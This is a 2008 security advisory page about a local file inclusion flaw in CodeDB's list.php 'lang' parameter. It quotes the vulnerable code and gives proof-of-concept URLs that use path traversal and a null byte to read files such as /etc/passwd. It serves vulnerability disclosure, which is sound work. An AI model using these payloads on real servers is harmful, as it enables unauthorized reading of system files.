Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : CodeDB (list.php lang) Local File Inclusion Vulnerability
  SecurityAlert : 4001
  CVE : CVE-2008-3190
  CWE : Not in CWE
  SecurityRisk : Medium  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Victim interaction required : No
  Exploit Given : Yes
  Credit : cOndemned
  Published : 17.07.2008

  Affected Software : CodeDB



  Advisory Text :  

###########################################################################
####
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura
;*
#
###########################################################################
####

Source :

// list.php

2. $lang = htmlspecialchars($_GET['lang']); // ok, but....
for what ? lol

7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have
to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned
;d


Proof of Concept :

http://[host]/[codeDB_path]/list.php?lang=../readme.txt%00
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd%00
http://[host]/[codeDB_path]/list.php?lang=../[local_file]%00


EoF.



  References :

http://xforce.iss.net/xforce/xfdb/43761
http://www.securityfocus.com/bid/30227
http://www.milw0rm.com/exploits/6071
http://www.frsirt.com/english/advisories/2008/2105/references
http://secunia.com/advisories/31053



  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache Tomcat information
   disclosure

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

PHP rss

» PHP 5.2.6 (error_log)
   safe_mode bypass

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

Copyright © SecurityReason. All Rights Reserved.